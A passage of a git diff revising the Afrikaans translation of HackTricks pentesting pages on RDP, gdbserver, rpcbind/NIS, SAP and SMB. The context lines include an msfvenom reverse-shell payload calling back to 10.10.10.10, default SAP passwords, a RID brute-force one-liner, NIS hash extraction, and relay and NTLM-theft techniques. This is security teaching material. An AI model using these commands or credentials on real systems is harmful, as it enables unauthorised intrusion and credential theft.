Microsoft Windows rekenaars te outomatiseer. Hierdie kwesbaarheid (lys as 'n kenmerk deur Microsoft) laat 'n afstandaanvaller toe om **sy slagoffer se lessenaar sonder sy toestemming te sien**, en selfs dit op aanvraag te beheer, met behulp van gereedskap wat in die bedryfstelsel self ingebou is. +**AutoRDPwn** is 'n post-exploitatie raamwerk geskep in Powershell, hoofsaaklik ontwerp om die **Shadow** aanval op Microsoft Windows rekenaars te outomatiseer. Hierdie kwesbaarheid (lys as 'n kenmerk deur Microsoft) laat 'n afstandaanvaller toe om **sy slagoffer se lessenaar sonder sy toestemming te sien**, en selfs dit op aanvraag te beheer, met behulp van gereedskap wat in die bedryfstelsel self ingebou is. - [**EvilRDP**](https://github.com/skelsec/evilrdp) - Beheer muis en sleutelbord op 'n geoutomatiseerde manier vanaf die opdraglyn - Beheer klembord op 'n geoutomatiseerde manier vanaf die opdraglyn -- Genereer 'n SOCKS-proxy vanaf die kliënt wat netwerkkommunikasie na die teiken via RDP kanale +- Genereer 'n SOCKS-proxy vanaf die kliënt wat netwerkkommunikasie na die teiken via RDP kan lei - Voer arbitrêre SHELL en PowerShell opdragte op die teiken uit sonder om lêers op te laai - Laai lêers op en af na/vanaf die teiken selfs wanneer lêeroordragte op die teiken gedeaktiveer is -## HackTricks Automatiese Opdragte +## HackTricks Outomatiese Opdragte ``` Protocol_Name: RDP #Protocol Abbreviation if there is one. Port_Number: 3389 #Comma separated if there is more than one. diff --git a/src/network-services-pentesting/pentesting-remote-gdbserver.md b/src/network-services-pentesting/pentesting-remote-gdbserver.md index c3cf57cc1..fb2e8da34 100644 --- a/src/network-services-pentesting/pentesting-remote-gdbserver.md +++ b/src/network-services-pentesting/pentesting-remote-gdbserver.md @@ -12,7 +12,7 @@ Jy kan 'n **gdbserver laat luister op enige poort** en op die oomblik **kan nmap ### Laai op en Voer uit -Jy kan maklik 'n **elf backdoor met msfvenom** skep, dit op laai en uitvoer: +Jy kan maklik 'n **elf backdoor met msfvenom** skep, dit oplaai en uitvoer: ```bash # Trick shared by @B1n4rySh4d0w msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 PrependFork=true -f elf -o binary.elf diff --git a/src/network-services-pentesting/pentesting-rpcbind.md b/src/network-services-pentesting/pentesting-rpcbind.md index 04a692e21..09b69eb2a 100644 --- a/src/network-services-pentesting/pentesting-rpcbind.md +++ b/src/network-services-pentesting/pentesting-rpcbind.md @@ -4,7 +4,7 @@ ## Basiese Inligting -**Portmapper** is 'n diens wat gebruik word om netwerkdienspoorte aan **RPC** (Remote Procedure Call) programnommers te koppel. Dit dien as 'n kritieke komponent in **Unix-gebaseerde stelsels**, wat die uitruil van inligting tussen hierdie stelsels fasiliteer. Die **poort** wat met **Portmapper** geassosieer word, word gereeld deur aanvallers gescan, aangesien dit waardevolle inligting kan onthul. Hierdie inligting sluit die tipe **Unix-bedryfstelsel (OS)** in wat draai en besonderhede oor die dienste wat op die stelsel beskikbaar is. Daarbenewens word **Portmapper** algemeen in samewerking met **NFS (Network File System)**, **NIS (Network Information Service)**, en ander **RPC-gebaseerde dienste** gebruik om netwerkdienste effektief te bestuur. +**Portmapper** is 'n diens wat gebruik word om netwerkdienspoorte aan **RPC** (Remote Procedure Call) programnommers te koppel. Dit dien as 'n kritieke komponent in **Unix-gebaseerde stelsels**, wat die uitruil van inligting tussen hierdie stelsels fasiliteer. Die **poort** wat met **Portmapper** geassosieer word, word gereeld deur aanvallers gescan, aangesien dit waardevolle inligting kan onthul. Hierdie inligting sluit die tipe **Unix-bedryfstelsel (OS)** in wat loop en besonderhede oor die dienste wat op die stelsel beskikbaar is. Daarbenewens word **Portmapper** algemeen in samewerking met **NFS (Network File System)**, **NIS (Network Information Service)**, en ander **RPC-gebaseerde dienste** gebruik om netwerkdienste effektief te bestuur. **Standaardpoort:** 111/TCP/UDP, 32771 in Oracle Solaris ``` @@ -16,7 +16,7 @@ PORT STATE SERVICE rpcinfo irked.htb nmap -sSUC -p111 192.168.10.1 ``` -Soms gee dit jou nie enige inligting nie, in ander gevalle sal jy iets soos hierdie kry: +Soms gee dit jou geen inligting nie, in ander gevalle sal jy iets soos hierdie kry: ![](<../images/image (553).png>) @@ -34,13 +34,13 @@ Lees[ 2049 - Pentesting NFS service](nfs-service-pentesting.md) om meer te leer ## NIS -Die verkenning van **NIS** kwesbaarhede behels 'n twee-stap proses, wat begin met die identifikasie van die diens `ypbind`. Die hoeksteen van hierdie verkenning is die ontdekking van die **NIS domeinnaam**, sonder welke vordering gestop word. +Die verkenning van **NIS** kwesbaarhede behels 'n twee-stap proses, wat begin met die identifikasie van die diens `ypbind`. Die hoeksteen van hierdie verkenning is om die **NIS domeinnaam** te ontdek, sonder welke vordering gestop word. ![](<../images/image (859).png>) -Die verkenningsreis begin met die installering van nodige pakkette (`apt-get install nis`). Die volgende stap vereis die gebruik van `ypwhich` om die NIS bediener se teenwoordigheid te bevestig deur dit te ping met die domeinnaam en bediener IP, terwyl hierdie elemente geanonimiseer word vir sekuriteit. +Die verkenningsreis begin met die installering van nodige pakkette (`apt-get install nis`). Die daaropvolgende stap vereis die gebruik van `ypwhich` om die teenwoordigheid van die NIS bediener te bevestig deur dit te ping met die domeinnaam en bediener IP, terwyl hierdie elemente geanonimiseer word vir sekuriteit. -Die finale en belangrike stap behels die `ypcat` opdrag om sensitiewe data te onttrek, veral versleutelde gebruikerswagwoorde. Hierdie hashes, eens gebroke met gereedskap soos **John the Ripper**, onthul insigte in stelseloegang en voorregte. +Die finale en belangrike stap behels die `ypcat` opdrag om sensitiewe data te onttrek, veral versleutelde gebruikerswagwoorde. Hierdie hashes, eens gekraak met gereedskap soos **John the Ripper**, onthul insigte in stelseloegang en voorregte. ```bash # Install NIS tools apt-get install nis @@ -51,12 +51,12 @@ ypcat –d –h passwd.byname ``` ### NIF lêers -| **Meester lêer** | **Kaart(e)** | **Notas** | +| **Meester lêer** | **Kaart(e)** | **Notas** | | ---------------- | --------------------------- | --------------------------------- | -| /etc/hosts | hosts.byname, hosts.byaddr | Bevat gasname en IP besonderhede | -| /etc/passwd | passwd.byname, passwd.byuid | NIS gebruiker wagwoord lêer | -| /etc/group | group.byname, group.bygid | NIS groep lêer | -| /usr/lib/aliases | mail.aliases | Besonderhede van e-pos aliase | +| /etc/hosts | hosts.byname, hosts.byaddr | Bevat gasname en IP besonderhede | +| /etc/passwd | passwd.byname, passwd.byuid | NIS gebruiker wagwoord lêer | +| /etc/group | group.byname, group.bygid | NIS groep lêer | +| /usr/lib/aliases | mail.aliases | Besonderhede van e-pos aliase | ## RPC Gebruikers @@ -66,7 +66,7 @@ As jy die **rusersd** diens soos volg vind: Kan jy gebruikers van die boks opnoem. Om te leer hoe, lees [1026 - Pentesting Rsusersd](1026-pentesting-rusersd.md). -## Oorbrug gefilterde Portmapper poort +## Omgewing gefilterde Portmapper poort Wanneer jy 'n **nmap skandering** uitvoer en oop NFS poorte met poort 111 wat gefilter word ontdek, is direkte uitbuiting van hierdie poorte nie haalbaar nie. egter, deur **'n portmapper diens plaaslik te simuleer en 'n tonnel van jou masjien** na die teiken te skep, word uitbuiting moontlik met behulp van standaard gereedskap. Hierdie tegniek maak dit moontlik om die gefilterde toestand van poort 111 te omseil, wat toegang tot NFS dienste moontlik maak. Vir gedetailleerde leiding oor hierdie metode, verwys na die artikel beskikbaar by [hierdie skakel](https://medium.com/@sebnemK/how-to-bypass-filtered-portmapper-port-111-27cee52416bc). diff --git a/src/network-services-pentesting/pentesting-sap.md b/src/network-services-pentesting/pentesting-sap.md index 15c2c6d4d..988a1a352 100644 --- a/src/network-services-pentesting/pentesting-sap.md +++ b/src/network-services-pentesting/pentesting-sap.md @@ -6,21 +6,21 @@ SAP staan vir Systeme Toepassings en Produkte in Data Verwerking. SAP, per defin Die SAP-stelsel bestaan uit 'n aantal volledig geïntegreerde modules, wat feitlik elke aspek van besigheidsbestuur dek. Elke SAP-instantie \(of SID\) bestaan uit drie lae: databasis, toepassing en aanbieding\), elke landskap bestaan gewoonlik uit vier instanties: dev, toets, QA en produksie. -Elke lae kan tot 'n sekere mate uitgebuit word, maar die meeste effek kan verkry word deur **die databasis aan te val**. +Elke van die lae kan tot 'n sekere mate uitgebuit word, maar die meeste effek kan verkry word deur **die databasis aan te val**. Elke SAP-instantie is verdeel in kliënte. Elke een het 'n gebruiker SAP\*, die toepassing se ekwivalent van “root”. -By aanvanklike skepping, ontvang hierdie gebruiker SAP\* 'n standaard wagwoord: “060719992” \(meer standaard wagwoorde hieronder\). -Jy sal verbaas wees as jy weet hoe dikwels hierdie **wagwoorde nie in toets- of dev-omgewings verander word nie**! +By aanvanklike skepping, ontvang hierdie gebruiker SAP\* 'n standaard wagwoord: “060719992” \(meer standaard wagwoord hieronder\). +Jy sal verbaas wees as jy weet hoe gereeld hierdie **wagwoorde nie in toets- of dev-omgewings verander word nie**! -Probeer om toegang te verkry tot die skulp van enige bediener met gebruikersnaam <SID>adm. -Bruteforcing kan help, maar daar kan 'n Rekening Sluiting meganisme wees. +Probeer om toegang te verkry tot die shell van enige bediener met gebruikersnaam <SID>adm. +Bruteforcing kan help, maar daar kan 'n rekeningvergrendelingsmeganisme wees. # Ontdekking -> Volgende afdeling is meestal van [https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures) van gebruiker shipcod3! +> Die volgende afdeling is meestal van [https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures) van gebruiker shipcod3! - Kontroleer die Toepassing Omvang of Program Oorsig vir toetsing. Neem kennis van die gasheername of stelselinstanties vir verbinding met SAP GUI. -- Gebruik OSINT \(open source intelligence\), Shodan en Google Dorks om te kyk vir lêers, subdomeine, en sappige inligting as die toepassing Internet-gestig of publiek is: +- Gebruik OSINT \(open source intelligence\), Shodan en Google Dorks om te kyk vir lêers, subdomeine, en sappige inligting as die toepassing Internet-gefokus of publiek is: ```text inurl:50000/irj/portal inurl:IciEventService/IciEventConf @@ -42,7 +42,7 @@ https://www.shodan.io/search?query=SAP+J2EE+Engine [https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt) [https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/sap.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/sap.txt) -- Gebruik die SAP SERVICE DISCOVERY bykomende Metasploit module om SAP instansies/dienste/komponente te noem: +- Gebruik die SAP SERVICE DISCOVERY bykomende Metasploit module om SAP instansies/dienste/komponente te evalueer: ```text msf > use auxiliary/scanner/sap/sap_service_discovery msf auxiliary(sap_service_discovery) > show options @@ -59,7 +59,7 @@ rhosts => 192.168.96.101 msf auxiliary(sap_service_discovery) > run [*] 192.168.96.101: - [SAP] Beginning service Discovery '192.168.96.101' ``` -## Toetsing van die Dikke Kliënt / SAP GUI +## Toetsing van die Dik Kliënt / SAP GUI Hier is die opdrag om met SAP GUI te verbind `sapgui ` @@ -136,8 +136,8 @@ BWDEVELOPER:Down1oad:001 - Soek vir algemene webkwesbaarhede \(Verwys na OWASP Top 10\) omdat daar XSS, RCE, XXE, ens. kwesbaarhede in sommige plekke is. - Kyk na Jason Haddix se [“The Bug Hunters Methodology”](https://github.com/jhaddix/tbhm) vir die toetsing van webkwesbaarhede. - Auth Bypass via werkwoord Manipulasie? Miskien :\) -- Open `http://SAP:50000/webdynpro/resources/sap.com/XXX/JWFTestAddAssignees#` en druk dan die “Kies” knoppie en druk dan in die geopende venster “Soek”. Jy behoort 'n lys van SAP gebruikers te kan sien \(Kwesbaarheid Verwysing: [ERPSCAN-16-010](https://erpscan.com/advisories/erpscan-16-010-sap-netweaver-7-4-information-disclosure/) \) -- Word die akrediteer oor HTTP ingedien? As dit so is, word dit as P3 beskou gebaseer op Bugcrowd se [Kwesbaarheid Gradering Taksonomie](https://bugcrowd.com/vulnerability-rating-taxonomy): Gebroke Autentisering en Sessie Bestuur \| Swak Inlog Funksie Oor HTTP. Wenke: Kyk ook na [http://SAP:50000/startPage](http://sap:50000/startPage) of die aanmeldportale :\) +- Maak `http://SAP:50000/webdynpro/resources/sap.com/XXX/JWFTestAddAssignees#` oop, druk dan die “Kies” knoppie en druk dan in die geopende venster “Soek”. Jy behoort 'n lys van SAP gebruikers te kan sien \(Kwesbaarheid Verwysing: [ERPSCAN-16-010](https://erpscan.com/advisories/erpscan-16-010-sap-netweaver-7-4-information-disclosure/)\) +- Word die akrediteer oor HTTP ingedien? As dit is, word dit as P3 beskou gebaseer op Bugcrowd se [Kwesbaarheid Gradering Taksonomie](https://bugcrowd.com/vulnerability-rating-taxonomy): Gebroke Autentisering en Sessie Bestuur \| Swak Inlog Funksie Oor HTTP. Wenke: Kyk ook na [http://SAP:50000/startPage](http://sap:50000/startPage) of die aanmeldportale :\) ![SAP Start Page](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/startPage.jpeg) @@ -175,7 +175,7 @@ BWDEVELOPER:Down1oad:001 ``` # Konfigurasieparameters -As jy korrekte aanmeldbesonderhede tydens die pentest het of jy het daarin geslaag om in te log op SAP GUI met basiese akrediteer, kan jy die parameterwaardes nagaan. Baie basiese en pasgemaakte konfigurasieparameterwaardes word as kwesbaarhede beskou. +As jy korrekte aanmeldbesonderhede tydens die pentest het of jy het daarin geslaag om in te log op SAP GUI met basiese akreditasies, kan jy die parameterwaardes nagaan. Baie basiese en pasgemaakte konfigurasieparameterwaardes word as kwesbaarhede beskou. Jy kan parameterwaardes beide handmatig en outomaties nagaan, met behulp van skripte (bv. [SAP Parameter Validator](https://github.com/damianStrojek/SAPPV)). @@ -206,7 +206,7 @@ Byvoorbeeld, as gw/reg_no_conn_info op minder as 255 (`<255`) gestel is, | `login/min_password_uppercase` | `0` | Minimum aantal hoofletters wat in wagwoorde vereis word. | | `login/min_password_digits` | `0` | Minimum aantal syfers wat in wagwoorde vereis word. | | `login/min_password_letters` | `1` | Minimum aantal letters wat in wagwoorde vereis word. | -| `login/fails_to_user_lock` | `<5` | Aantal mislukte aanmeldpogings voordat die gebruikersrekening vergrendel word. | +| `login/fails_to_user_lock` | `<5` | Aantal mislukte aanmeldpogings voordat die gebruikersrekening vergrendel word.| | `login/password_expiration_time` | `>90` | Wagwoordvervaltyd in dae. | | `login/password_max_idle_initial` | `<14` | Maksimum inaktiewe tyd in minute voordat wagwoordherinvoer vereis word (aanvanklik). | | `login/password_max_idle_productive` | `<180` | Maksimum inaktiewe tyd in minute voordat wagwoordherinvoer vereis word (produktief). | @@ -349,7 +349,7 @@ bizploit> start # Ander Nuttige Gereedskap vir Toetsing - [PowerSAP](https://github.com/airbus-seclab/powersap) - Powershell-gereedskap om SAP-sekuriteit te evalueer -- [Burp Suite](https://portswigger.net/burp) - 'n Moet hê vir gids fuzzing en websekuriteitsassessering +- [Burp Suite](https://portswigger.net/burp) - 'n Moet hê vir gidsfuzzing en websekuriteitsassessering - [pysap](https://github.com/SecureAuthCorp/pysap) - Python-biblioteek om SAP-netwerkprotokolpakkette te vervaardig - [https://github.com/gelim/nmap-erpscan](https://github.com/gelim/nmap-erpscan) - Help nmap om SAP/ERP te detecteer diff --git a/src/network-services-pentesting/pentesting-smb.md b/src/network-services-pentesting/pentesting-smb.md index 0903eeccc..b9cbee503 100644 --- a/src/network-services-pentesting/pentesting-smb.md +++ b/src/network-services-pentesting/pentesting-smb.md @@ -4,13 +4,13 @@ ## **Port 139** -Die _**Network Basic Input Output System**_** (NetBIOS)** is 'n sagteware-protokol wat ontwerp is om toepassings, rekenaars en werkstasies binne 'n plaaslike area netwerk (LAN) in staat te stel om met netwerkhardeware te kommunikeer en **die oordrag van data oor die netwerk te fasiliteer**. Die identifikasie en ligging van sagtewaretoepassings wat op 'n NetBIOS-netwerk werk, word bereik deur hul NetBIOS-names, wat tot 16 karakters lank kan wees en dikwels verskillend is van die rekenaarnaam. 'n NetBIOS-sessie tussen twee toepassings word geïnisieer wanneer een toepassing (wat as die kliënt optree) 'n opdrag gee om 'n ander toepassing (wat as die bediener optree) te "bel" deur gebruik te maak van **TCP Port 139**. +Die _**Network Basic Input Output System**_** (NetBIOS)** is 'n sagteware-protokol wat ontwerp is om toepassings, rekenaars en desktops binne 'n plaaslike area netwerk (LAN) in staat te stel om met netwerkhardeware te kommunikeer en **die oordrag van data oor die netwerk te fasiliteer**. Die identifikasie en ligging van sagtewaretoepassings wat op 'n NetBIOS-netwerk werk, word bereik deur hul NetBIOS-names, wat tot 16 karakters lank kan wees en dikwels verskillend is van die rekenaarnaam. 'n NetBIOS-sessie tussen twee toepassings word geaktiveer wanneer een toepassing (wat as die kliënt optree) 'n opdrag gee om "te bel" na 'n ander toepassing (wat as die bediener optree) deur gebruik te maak van **TCP Port 139**. ``` 139/tcp open netbios-ssn Microsoft Windows netbios-ssn ``` ## Port 445 -Tegniek, Port 139 word verwys na 'NBT oor IP', terwyl Port 445 geïdentifiseer word as 'SMB oor IP'. Die akroniem **SMB** staan vir '**Server Message Blocks**', wat ook modern bekend staan as die **Common Internet File System (CIFS)**. As 'n toepassingslaagnetwerkprotokol, word SMB/CIFS hoofsaaklik gebruik om gedeelde toegang tot lêers, drukkers, seriële poorte te fasiliteer, en verskeie vorme van kommunikasie tussen knope op 'n netwerk te ondersteun. +Tegnies is Port 139 bekend as ‘NBT oor IP’, terwyl Port 445 geïdentifiseer word as ‘SMB oor IP’. Die akroniem **SMB** staan vir ‘**Server Message Blocks**’, wat ook modern bekend staan as die **Common Internet File System (CIFS)**. As 'n toepassingslaagnetwerkprotokol, word SMB/CIFS hoofsaaklik gebruik om gedeelde toegang tot lêers, drukkers, seriële poorte te fasiliteer, en verskeie vorme van kommunikasie tussen knope op 'n netwerk te ondersteun. Byvoorbeeld, in die konteks van Windows, word dit beklemtoon dat SMB direk oor TCP/IP kan werk, wat die noodsaaklikheid vir NetBIOS oor TCP/IP uitskakel, deur die gebruik van poort 445. Aan die ander kant, op verskillende stelsels, word die gebruik van poort 139 waargeneem, wat aandui dat SMB saam met NetBIOS oor TCP/IP uitgevoer word. ``` @@ -20,7 +20,7 @@ Byvoorbeeld, in die konteks van Windows, word dit beklemtoon dat SMB direk oor T Die **Server Message Block (SMB)** protokol, wat in 'n **klient-bediener** model werk, is ontwerp om **toegang tot lêers**, gidse, en ander netwerkbronne soos drukkers en routers te reguleer. Primêr gebruik binne die **Windows** bedryfstelselreeks, verseker SMB terugwaartse kompatibiliteit, wat toestelle met nuwer weergawes van Microsoft se bedryfstelsel in staat stel om naatloos met dié wat ouer weergawes gebruik, te kommunikeer. Boonop bied die **Samba** projek 'n gratis sagtewareoplossing, wat SMB se implementering op **Linux** en Unix stelsels moontlik maak, en sodoende kruisplatformkommunikasie deur SMB fasiliteer. -Aandeel, wat **arbitraire dele van die plaaslike lêerstelsel** verteenwoordig, kan deur 'n SMB-bediener verskaf word, wat die hiërargie gedeeltelik **onafhanklik** van die bediener se werklike struktuur sigbaar maak aan 'n kliënt. Die **Access Control Lists (ACLs)**, wat **toegangsregte** definieer, stel **fynbeheer** oor gebruikersregte moontlik, insluitend eienskappe soos **`execute`**, **`read`**, en **`full access`**. Hierdie regte kan aan individuele gebruikers of groepe toegeken word, gebaseer op die aandele, en is onderskeibaar van die plaaslike regte wat op die bediener gestel is. +Aandeel, wat **arbitraire dele van die plaaslike lêerstelsel** verteenwoordig, kan deur 'n SMB-bediener verskaf word, wat die hiërargie gedeeltelik **onafhanklik** van die bediener se werklike struktuur sigbaar maak aan 'n kliënt. Die **Access Control Lists (ACLs)**, wat **toegangsregte** definieer, stel 'n **fynbeheer** oor gebruikersregte moontlik, insluitend eienskappe soos **`execute`**, **`read`**, en **`full access`**. Hierdie regte kan aan individuele gebruikers of groepe toegeken word, gebaseer op die aandele, en is onderskeibaar van die plaaslike regte wat op die bediener gestel is. ### IPC$ Share @@ -119,7 +119,7 @@ rpcclient -U "username%passwd" #With creds /usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@] /usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@] ``` -### Lys gebruikers, groepe & aangemelde gebruikers +### Lys gebruikers, groepe & ingelogde gebruikers Hierdie inligting behoort reeds van enum4linux en enum4linux-ng versamel te wees. ```bash @@ -143,7 +143,7 @@ Oneliner ```bash for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done ``` -### Metasploit - Lys plaaslike gebruikers op +### Metasploit - Lys plaaslike gebruikers ```bash use auxiliary/scanner/smb/smb_lookupsid set rhosts hostname.local @@ -195,11 +195,11 @@ smbmap [-u "username" -p "password"] -R [Folder] -H [-P ] # Recursive smbmap [-u "username" -p "password"] -r [Folder] -H [-P ] # Non-Recursive list smbmap -u "username" -p ":" [-r/-R] [Folder] -H [-P ] #Pass-the-Hash ``` -### **Handmatig vensters deel en verbind met hulle** +### **Handmatig vensters deel en verbind daarmee** -Dit mag moontlik wees dat jy beperk is om enige dele van die gasheer masjien te vertoon en wanneer jy probeer om hulle op te lys, lyk dit asof daar geen dele is om mee te verbind nie. Dit mag dus die moeite werd wees om te probeer om handmatig met 'n deel te verbind. Om die dele handmatig te lys, wil jy dalk soek na antwoorde soos NT_STATUS_ACCESS_DENIED en NT_STATUS_BAD_NETWORK_NAME, wanneer jy 'n geldige sessie gebruik (bv. null sessie of geldige geloofsbriewe). Hierdie mag aandui of die deel bestaan en jy nie toegang daartoe het nie of die deel glad nie bestaan nie. +Dit mag dalk moontlik wees dat jy beperk is om enige dele van die gasheer masjien te vertoon en wanneer jy probeer om hulle op te lys, lyk dit asof daar geen dele is om mee te verbind nie. Dit mag dus die moeite werd wees om 'n poging te doen om handmatig met 'n deel te verbind. Om die dele handmatig te lys, wil jy dalk soek na antwoorde soos NT_STATUS_ACCESS_DENIED en NT_STATUS_BAD_NETWORK_NAME, wanneer jy 'n geldige sessie gebruik (bv. null sessie of geldige geloofsbriewe). Hierdie mag aandui of die deel bestaan en jy nie toegang daartoe het nie of die deel glad nie bestaan nie. -Gewone deelname vir venster teikens is +Gewone deelname name vir venster teikens is - C$ - D$ @@ -210,7 +210,7 @@ Gewone deelname vir venster teikens is - SYSVOL - NETLOGON -(Gewone deelname van _**Network Security Assessment 3rd edition**_) +(Gewone deelname name van _**Network Security Assessment 3rd edition**_) Jy kan probeer om met hulle te verbind deur die volgende opdrag te gebruik ```bash @@ -274,7 +274,7 @@ mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share ``` ### **Laai lêers af** -Lees vorige afdelings om te leer hoe om met akrediteerbesonderhede/Pass-the-Hash te verbind. +Lees vorige afdelings om te leer hoe om met akrediteerbare inligting/Pass-the-Hash te verbind. ```bash #Search a file and download sudo smbmap -R Folder -H -A -q # Search the file in recursive mode and download it inside /usr/share/smbmap @@ -292,8 +292,8 @@ smbclient /// Opdragte: - mask: spesifiseer die masker wat gebruik word om die lêers binne die gids te filter (bv. "" vir alle lêers) -- recurse: skakel rekursie aan (verstek: af) -- prompt: skakel die vrae vir lêernaam af (verstek: aan) +- recurse: skakel rekursie aan (standaard: af) +- prompt: skakel die vrae vir lêernaam af (standaard: aan) - mget: kopieer alle lêers wat met die masker ooreenstem van die gasheer na die kliëntmasjien (_Inligting van die manblad van smbclient_) @@ -329,17 +329,17 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87 Die **standaardkonfigurasie van** 'n **Samba** bediener is gewoonlik geleë in `/etc/samba/smb.conf` en mag 'n paar **gevaarlike konfigurasies** hê: | **Instelling** | **Beskrywing** | -| --------------------------- | ------------------------------------------------------------------- | -| `browseable = yes` | Laat toe om beskikbare gedeeltes in die huidige gedeelde te lys? | +| --------------------------- | ----------------------------------------------------------------- | +| `browseable = yes` | Laat toe om beskikbare gedeeltes in die huidige gedeelte te lys? | | `read only = no` | Verbied die skepping en wysiging van lêers? | -| `writable = yes` | Laat gebruikers toe om lêers te skep en te wysig? | -| `guest ok = yes` | Laat toe om aan die diens te koppel sonder om 'n wagwoord te gebruik? | -| `enable privileges = yes` | Eer die priviliges wat aan spesifieke SID toegeken is? | -| `create mask = 0777` | Watter regte moet aan die nuutgeskepte lêers toegeken word? | -| `directory mask = 0777` | Watter regte moet aan die nuutgeskepte gidse toegeken word? | -| `logon script = script.sh` | Watter skrip moet uitgevoer word wanneer die gebruiker aanmeld? | -| `magic script = script.sh` | Watter skrip moet uitgevoer word wanneer die skrip gesluit word? | -| `magic output = script.out` | Waar moet die uitvoer van die magiese skrip gestoor word? | +| `writable = yes` | Laat gebruikers toe om lêers te skep en te wysig? | +| `guest ok = yes` | Laat toe om met die diens te verbind sonder om 'n wagwoord te gebruik? | +| `enable privileges = yes` | Eer die priviliges wat aan spesifieke SID toegeken is? | +| `create mask = 0777` | Watter regte moet aan die nuutgeskepte lêers toegeken word? | +| `directory mask = 0777` | Watter regte moet aan die nuutgeskepte gidse toegeken word? | +| `logon script = script.sh` | Watter skrip moet uitgevoer word wanneer die gebruiker aanmeld? | +| `magic script = script.sh` | Watter skrip moet uitgevoer word wanneer die skrip gesluit word? | +| `magic output = script.out` | Waar moet die uitvoer van die magiese skrip gestoor word? | Die opdrag `smbstatus` gee inligting oor die **bediener** en oor **wie verbind is**. @@ -392,7 +392,7 @@ Gebruik **parameter** `-k` om teen **kerberos** te autentiseer in plaas van **NT ### [wmiexec](../windows-hardening/ntlm/wmiexec.md)/dcomexec -Stealthily voer 'n opdrag shell uit sonder om die skyf aan te raak of 'n nuwe diens te laat loop deur DCOM via **poort 135.**\ +Stealthily voer 'n opdrag-shel uit sonder om die skyf te raak of 'n nuwe diens te laat loop deur DCOM via **poort 135.**\ In **kali** is dit geleë op /usr/share/doc/python3-impacket/examples/ ```bash #If no password is provided, it will be prompted @@ -428,12 +428,12 @@ ridenum.py 500 50000 /root/passwds.txt #Get usernames bruteforcing that rid ``` ## SMB relay aanval -Hierdie aanval gebruik die Responder toolkit om **SMB verifikasie sessies** op 'n interne netwerk te **vang**, en **oor te dra** na 'n **teiken masjien**. As die verifikasie **sessie suksesvol is**, sal dit jou outomaties in 'n **stelsel** **skulp** laat val.\ +Hierdie aanval gebruik die Responder toolkit om **SMB-authentikasiesessies** op 'n interne netwerk te **vang**, en **oor te dra** na 'n **teikenmasjien**. As die authentikasie **sessie suksesvol is**, sal dit jou outomaties in 'n **stelsel** **skulp** laat val.\ [**Meer inligting oor hierdie aanval hier.**](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) ## SMB-Trap -Die Windows biblioteek URLMon.dll probeer outomaties om te verifieer met die gasheer wanneer 'n bladsy probeer om toegang te verkry tot 'n paar inhoud via SMB, byvoorbeeld: `img src="\\10.10.10.10\path\image.jpg"` +Die Windows biblioteek URLMon.dll probeer outomaties om te autentiseer met die gasheer wanneer 'n bladsy probeer om toegang te verkry tot 'n paar inhoud via SMB, byvoorbeeld: `img src="\\10.10.10.10\path\image.jpg"` Dit gebeur met die funksies: @@ -452,9 +452,9 @@ Wat deur sommige blaaiers en gereedskap (soos Skype) gebruik word. ## NTLM Diefstal -Soos SMB Trapping, kan die plant van kwaadwillige lêers op 'n teikenstelsel (via SMB, byvoorbeeld) 'n SMB verifikasie poging uitlok, wat die NetNTLMv2 hash toelaat om met 'n gereedskap soos Responder onderskep te word. Die hash kan dan offline gekraak of in 'n [SMB relay aanval](pentesting-smb.md#smb-relay-attack) gebruik word. +Soos SMB Trap, kan die plant van kwaadwillige lêers op 'n teikenstelsel (via SMB, byvoorbeeld) 'n SMB-authentikasiepoging uitlok, wat die NetNTLMv2-hash toelaat om met 'n hulpmiddel soos Responder onderskep te word. Die hash kan dan offline gekraak of in 'n [SMB relay aanval](pentesting-smb.md#smb-relay-attack) gebruik word. -[Siende: ntlm_diefstal](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft) +[ sien: ntlm_theft](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft) ## HackTricks Outomatiese Opdragte ``` diff --git a/src/network-services-pentesting/pentesting-smb/README.md b/src/network-services-pentesting/pentesting-smb/README.md index ba585ac7c..f091bf73b 100644 --- a/src/network-services-pentesting/pentesting-smb/README.md +++ b/src/network-services-pentesting/pentesting-smb/README.md @@ -4,13 +4,13 @@ ## **Port 139** -Die _**Network Basic Input Output System**_\*\* (NetBIOS)\*\* is 'n sagtewareprotokol wat ontwerp is om toepassings, rekenaars en desktops binne 'n plaaslike area netwerk (LAN) in staat te stel om met netwerkhardeware te kommunikeer en **die oordrag van data oor die netwerk te fasiliteer**. Die identifikasie en ligging van sagtewaretoepassings wat op 'n NetBIOS-netwerk werk, word bereik deur hul NetBIOS-names, wat tot 16 karakters lank kan wees en dikwels verskillend is van die rekenaarnaam. 'n NetBIOS-sessie tussen twee toepassings word geaktiveer wanneer een toepassing (wat as die kliënt optree) 'n opdrag gee om 'n ander toepassing (wat as die bediener optree) te "bel" deur gebruik te maak van **TCP Port 139**. +Die _**Network Basic Input Output System**_\*\* (NetBIOS)\*\* is 'n sagtewareprotokol wat ontwerp is om toepassings, rekenaars en werkstasies binne 'n plaaslike area netwerk (LAN) in staat te stel om met netwerkhardeware te kommunikeer en **die oordrag van data oor die netwerk te fasiliteer**. Die identifikasie en ligging van sagtewaretoepassings wat op 'n NetBIOS-netwerk werk, word bereik deur hul NetBIOS-names, wat tot 16 karakters lank kan wees en dikwels verskillend is van die rekenaarnaam. 'n NetBIOS-sessie tussen 